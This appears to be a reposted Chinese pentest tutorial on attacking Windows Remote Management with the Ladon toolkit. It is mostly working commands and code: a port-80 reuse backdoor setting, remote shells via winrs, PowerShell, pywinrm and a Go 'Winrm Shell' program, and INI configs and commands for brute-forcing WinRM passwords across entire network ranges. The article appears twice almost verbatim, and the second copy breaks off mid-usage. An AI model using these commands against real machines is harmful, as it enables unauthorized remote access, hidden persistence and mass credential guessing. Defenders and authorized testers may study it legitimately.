Win RM远程命令/端口复用后门/WinrmCmd/密码爆破
小乐2024/12/285259 阅读
Win RM远程命令/端口复用后门/WinrmCmd/密码爆破 工具自行下载
简介
WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。
Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。
PS:WIN7或2008需要手动开户WINRM
默认端口
5985/tcp (HTTP)
5986/tcp (HTTPS)
快速启动WinRM
1
winrm quickconfig -q 或 winrm qc
端口复用后门
对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。
通过下面的命令,可以新增WinRM一个80端口的监听。
1
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
PS:该方法适用于有web的机器,不会开启新端口,也不需要新的EXE进程或DLL劫持。
Winrs远程执行命令
需要客户端启用Winrm,SYS权限受限制
客户端启用Winrm
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts=”*”}
远程执行CMD
通过Winrs连接,并执行whoami命令
1
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 whoami
通过Winrs连接,并获得交互式的shell
1
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 cmd
PowerShell远程执行命令
需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制
1 2 3 4 5 6 7
$ip="192.168.1.116" #$ip="192.168.1.20" Set-Item WSMan:\localhost\Client\TrustedHosts -Value $ip -Force $securePassword = ConvertTo-SecureString -AsPlainText -Force 'k8gege520' $cred = New-Object System.Management.Automation.PSCredential 'k8gege', $securePassword $cmd = {ls C:\users\public} Invoke-Command -ComputerName $ip -Credential $cred -ScriptBlock $cmd
Pywinrm远程执行命令
需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制
1 2 3 4 5 6 7 8 9
#C:\Users\null\Desktop\pywinrm>python test1.py #win-\k8gege import winrm s=winrm.Session('http://192.168.1.116',auth=('k8gege','k8gege520'))#2012 ok #s=winrm.Session('http://192.168.1.20',auth=('k8gege','k8gege520'))#win7 fail r=s.run_ps('dir') r=s.run_cmd('whoami') print r.std_out print r.std_err
Gowinrm远程执行命令
Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制
推荐使用版本,跨平台,任意权限,工具无需系统客外配置,也无需复杂安装。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
package main import ( "github.com/masterzen/winrm" "fmt" "os" "strconv" ) //Winrm Remote Shell by k8gege //http://k8gege.org/Ladon/WinrmScan.html #C:\Users\k8gege\Desktop\>winrmcmd.exe 192.168.1.116 5985 k8gege k8gege520 whoami #k8gege var help = func () { fmt.Println("Winrm Shell by k8gege") fmt.Println("====================================================") fmt.Println("winrmcmd host port user pass cmd") } func main() { args := os.Args if len(args) < 5 || args == nil { help() return } host := args[1] port,err := strconv.Atoi(args[2]) user := args[3] pass := args[4] cmd := args[5] endpoint := winrm.NewEndpoint(host, port, false, false, nil, nil, nil, 0) client, err := winrm.NewClient(endpoint, user, pass) if err != nil { panic(err) } client.Run(cmd, os.Stdout, os.Stderr) }
C#版远程执行命令
有两种方法,一种WSMAN,一种DCOM,都有缺限,一个在WIN7环境运行提示无效程序(在2012系统才正常),另一个在WIN7开发环境正常在2012系统不能使用,再者需启用Winrm还一样受权限限制,还不如用系统自带命令好。
调用winrm爆破
由于C#使用WSMan来访问winrm均在各种问题,还不如系统自带命令winrs。
当前机器为中文,目标为英文系统,连接提示编码问题,设置对应编码即可
其它语言系统,返回不一定是437,具体自行根据需要修改INI脚本。
PS:GO版不受权限限制,也不受编码限制,建立使用GO版验证密码
WinrmScan.ini
1 2 3 4 5 6 7 8 9
[Ladon] #Brute-Force WinRM exe=cmd.exe arg=/c "chcp 437 & winrs -r:http://$ip$:5985 -u:$user$ -p:$pass$ "echo isok"" #exe=WinrmScan.exe #arg=$ip$ $user$ $pass$ port=5985 isok=isok log=true
注意:INI脚本必须为ANSI编码,当前机器与目标必须启用WINRM,且放行5985端口
后门:如果被别人添加了复用后门,也可以直接爆破80端口,把5985改成80即可。
调用WinrmCmd爆破
Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制
1 2 3 4 5 6 7 8
[Ladon] #Brute-Force WinRM exe=winrmcmd.exe arg=$ip$ 5985 $user$ $pass$ "echo isok"" #exe=WinrmScan.exe #arg=$ip$ $user$ $pass$ isok=isok log=true
Winrm密码爆破/暴力破解
配置密码爆破参数
INI脚本仅支持标准的user.txt和pass.txt帐密破解
user & pass /传统帐密
user.txt
k8gege
root
pass.txt
toor
k8gege520
指定IP
1
Ladon 192.168.1.8 WinrmScan.ini
扫描C段
1 2
Ladon 192.168.1.8/c WinrmScan.ini Ladon 192.168.1.8/24 WinrmScan.ini
扫描B段
1
Ladon 192.168.1.8/b WinrmScan.ini
扫描A段
1
Ladon 192.168.1.8/a WinrmScan.ini
批量IP
ip.txt
192.168.1.8
192.168.1.5
192.168.1.109:48
1
Ladon WinrmScan.ini
批量C段
ip24.txt
192.168.1.
10.1.5.
1
Ladon WinrmScan.ini
批量B段
ip16.txt
192.168.
10.1.
1
Ladon WinrmScan.ini
通过5985端口扫描1.20机器登陆口令
Ladon 7.3版本
>= Ladon 7.3.0
Update: 20200901
Ladon 7.3版本添加了WinrmScan和WinrmExec功能
WinrmScan 5985密码爆破
1 2
Ladon 192.168.1.8 WinrmScan Ladon 192.168.1.8/24 WinrmScan
WinrmExec 远程执行命令
1.无回显
2.支持SYSTEM权限
1 2 3 4 5 6 7
Usage: Ladon WinrmExec[Port] [Domain] [Username] [Password] Default Port is 5985 Example: Ladon WinrmExec 192.168.1.116 . k8gege K8test520!@# calc.exe Ladon WinrmExec 192.168.1.116 80 . k8gege K8test520!@# calc.exe Ladon WinrmExec 192.168.1.116 5985 . k8gege K8test520!@# calc.exe
Winrm密码爆破/端口复用后门
简介
WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。
Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。
PS:WIN7或2008需要手动开户WINRM
默认端口
5985/tcp (HTTP)
5986/tcp (HTTPS)
快速启动WinRM
1
winrm quickconfig -q 或 winrm qc
端口复用后门
对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。
通过下面的命令,可以新增WinRM一个80端口的监听。
1
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
PS:该方法适用于有web的机器,不会开启新端口,也不需要新的EXE进程或DLL劫持。
Winrs远程执行命令
需要客户端启用Winrm,SYS权限受限制
客户端启用Winrm
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts=”*”}
远程执行CMD
通过Winrs连接,并执行whoami命令
1
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 whoami
通过Winrs连接,并获得交互式的shell
1
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 cmd
PowerShell远程执行命令
需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制
1 2 3 4 5 6 7
$ip="192.168.1.116" #$ip="192.168.1.20" Set-Item WSMan:\localhost\Client\TrustedHosts -Value $ip -Force $securePassword = ConvertTo-SecureString -AsPlainText -Force 'k8gege520' $cred = New-Object System.Management.Automation.PSCredential 'k8gege', $securePassword $cmd = {ls C:\users\public} Invoke-Command -ComputerName $ip -Credential $cred -ScriptBlock $cmd
Pywinrm远程执行命令
需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制
1 2 3 4 5 6 7 8 9
#C:\Users\null\Desktop\pywinrm>python test1.py #win-\k8gege import winrm s=winrm.Session('http://192.168.1.116',auth=('k8gege','k8gege520'))#2012 ok #s=winrm.Session('http://192.168.1.20',auth=('k8gege','k8gege520'))#win7 fail r=s.run_ps('dir') r=s.run_cmd('whoami') print r.std_out print r.std_err
Gowinrm远程执行命令
Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制
推荐使用版本,跨平台,任意权限,工具无需系统客外配置,也无需复杂安装。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
package main import ( "github.com/masterzen/winrm" "fmt" "os" "strconv" ) //Winrm Remote Shell by k8gege //http://k8gege.org/Ladon/WinrmScan.html #C:\Users\k8gege\Desktop\>winrmcmd.exe 192.168.1.116 5985 k8gege k8gege520 whoami #k8gege var help = func () { fmt.Println("Winrm Shell by k8gege") fmt.Println("====================================================") fmt.Println("winrmcmd host port user pass cmd") } func main() { args := os.Args if len(args) < 5 || args == nil { help() return } host := args[1] port,err := strconv.Atoi(args[2]) user := args[3] pass := args[4] cmd := args[5] endpoint := winrm.NewEndpoint(host, port, false, false, nil, nil, nil, 0) client, err := winrm.NewClient(endpoint, user, pass) if err != nil { panic(err) } client.Run(cmd, os.Stdout, os.Stderr) }
C#版远程执行命令
有两种方法,一种WSMAN,一种DCOM,都有缺限,一个在WIN7环境运行提示无效程序(在2012系统才正常),另一个在WIN7开发环境正常在2012系统不能使用,再者需启用Winrm还一样受权限限制,还不如用系统自带命令好。
调用winrm爆破
由于C#使用WSMan来访问winrm均在各种问题,还不如系统自带命令winrs。
当前机器为中文,目标为英文系统,连接提示编码问题,设置对应编码即可
其它语言系统,返回不一定是437,具体自行根据需要修改INI脚本。
PS:GO版不受权限限制,也不受编码限制,建立使用GO版验证密码
WinrmScan.ini
1 2 3 4 5 6 7 8 9
[Ladon] #Brute-Force WinRM exe=cmd.exe arg=/c "chcp 437 & winrs -r:http://$ip$:5985 -u:$user$ -p:$pass$ "echo isok"" #exe=WinrmScan.exe #arg=$ip$ $user$ $pass$ port=5985 isok=isok log=true
注意:INI脚本必须为ANSI编码,当前机器与目标必须启用WINRM,且放行5985端口
后门:如果被别人添加了复用后门,也可以直接爆破80端口,把5985改成80即可。
调用WinrmCmd爆破
Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制
1 2 3 4 5 6 7 8
[Ladon] #Brute-Force WinRM exe=winrmcmd.exe arg=$ip$ 5985 $user$ $pass$ "echo isok"" #exe=WinrmScan.exe #arg=$ip$ $user$ $pass$ isok=isok log=true
Winrm密码爆破/暴力破解
配置密码爆破参数
INI脚本仅支持标准的user.txt和pass.txt帐密破解
user & pass /传统帐密
user.txt
k8gege
root
pass.txt
toor
k8gege520
指定IP
1
Ladon 192.168.1.8 WinrmScan.ini
扫描C段
1 2
Ladon 192.168.1.8/c WinrmScan.ini Ladon 192.168.1.8/24 WinrmScan.ini
扫描B段
1
Ladon 192.168.1.8/b WinrmScan.ini
扫描A段
1
Ladon 192.168.1.8/a WinrmScan.ini
批量IP
ip.txt
192.168.1.8
192.168.1.5
192.168.1.109:48
1
Ladon WinrmScan.ini
批量C段
ip24.txt
192.168.1.
10.1.5.
1
Ladon WinrmScan.ini
批量B段
ip16.txt
192.168.
10.1.
1
Ladon WinrmScan.ini
通过5985端口扫描1.20机器登陆口令
Ladon 7.3版本
>= Ladon 7.3.0
Update: 20200901
Ladon 7.3版本添加了WinrmScan和WinrmExec功能
WinrmScan 5985密码爆破
1 2
Ladon 192.168.1.8 WinrmScan Ladon 192.168.1.8/24 WinrmScan
WinrmExec 远程执行命令
1.无回显
2.支持SYSTEM权限
1 2 3 4 5 6 7
Usage: Ladon WinrmExec
Winrm密码爆破/端口复用后门